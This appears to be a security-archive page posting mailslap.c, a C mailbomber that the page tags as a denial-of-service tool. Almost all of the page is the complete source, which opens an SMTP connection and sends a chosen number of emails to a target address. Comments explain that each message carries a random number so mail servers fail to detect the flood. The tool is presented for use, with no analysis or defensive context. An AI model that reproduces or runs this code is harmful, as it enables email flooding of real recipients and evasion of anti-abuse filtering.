what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

mailslap.c

mailslap.c
Posted Oct 30, 2003
Authored by c0w3

Unix C Based MailBomber.

tags | denial of service
systems | unix
SHA-256 | 5a0dbec087ff6bd31b8ef9eb1d679cdc2a31bc250839820ec4c086b35871faff

mailslap.c

Change Mirror Download
/*
Unix C Based MailBomber.
by c0w3

Hacked together for some testing.
Pops a random number in emails now as well.

compile:
gcc -o mailbomb mailbomb.c -Wall

0.2 new features:

Some SMTP servers used to bust us after about 8 emails noticing that we were
sending a dOs attack (a default redhat 9 build did ayway) - this was due to sending identical emails each time.

*/

#include <stdio.h>
#include <sys/param.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdarg.h>
#include <stdlib.h>

void smtp_connect(char *server);

int thesock;
FILE *a; /* the stream were we pick the random seed */
int showmeyourseed; /* the seed */
/* random seed generator function */
int random_seed(void) {
a=fopen("/dev/random","r"); /* opening /dev/random with read only flag */
/* get the first character from /dev/random , should be enough (i think) */
showmeyourseed=getc(a);
/* using the random seed */
srand(showmeyourseed);
/* flushing the stream as well */
fflush(a);
}

void smtp_connect(char *server)
{
struct sockaddr_in sin;
struct hostent *hp;

hp = gethostbyname(server);
if (hp==NULL) {
printf("Sorry.. unable to find host: %s\n",server);
exit(0);
}
bzero((char*) &sin, sizeof(sin));
bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
sin.sin_family = hp->h_addrtype;
sin.sin_port = htons(25);
thesock = socket(AF_INET, SOCK_STREAM, 0);
connect(thesock,(struct sockaddr *) &sin, sizeof(sin));
}

void main(int argc, char **argv)
{
char buf[1500];
int a,i;
char end[50];
int rand_num;

if (argc != 7) {
printf("Linux/Unix Mailbomber, by c0w3.\n");
printf("\nUsage: %s, #of emails, SMTP Server, to, from, Subject, Message\n", argv[0]);
exit(0);
}
i = atoi(argv[1]);
printf("Connecting to %s on SMTP port 25\n",argv[2]);
smtp_connect(argv[2]);
printf("Sending Mail to %s, from %s.\n",argv[4],argv[3]);
sprintf(buf, "ehlo hp.com\n"); // Sorry HP.
send(thesock, buf, strlen(buf), 0);

for(a=1;a<=i;a++) {

random_seed(); /* now we using our random seed function */
rand_num=1+(int) (100000.0*rand()/(RAND_MAX+1.0));
/* change 100000.0 for another range of random numbers */

sprintf(buf, "mail from: %d%s\nrcpt to: %s\ndata\nTo: %s\nSubject: %s\n%s\n\n\n\n\n------------------\nYour lucky number is: %d\n------------------\n%s\n\n.\n", rand_num, argv[4], argv[3], argv[3], argv[5], argv[6], rand_num, argv[4]);


send(thesock, buf, strlen(buf), 0);
printf("\nQuick Sleep to ensure Data Integrity ...\n");
sleep(2);
/* Random Numner to stop SMTP servers picking up on a mail DoS */
printf("%d\n",rand_num);
printf("Email %i Sent..\n",a);
}
sprintf(end, "quit\n");
send(thesock, end, strlen(end), 0);
printf("\n-- begin example sent email --\n");
printf(buf);
printf("\n-- EOF --\n");
a = a-1;
printf("Total Number of emails sent: %i\n",a);
}

/* end */
Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    13 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close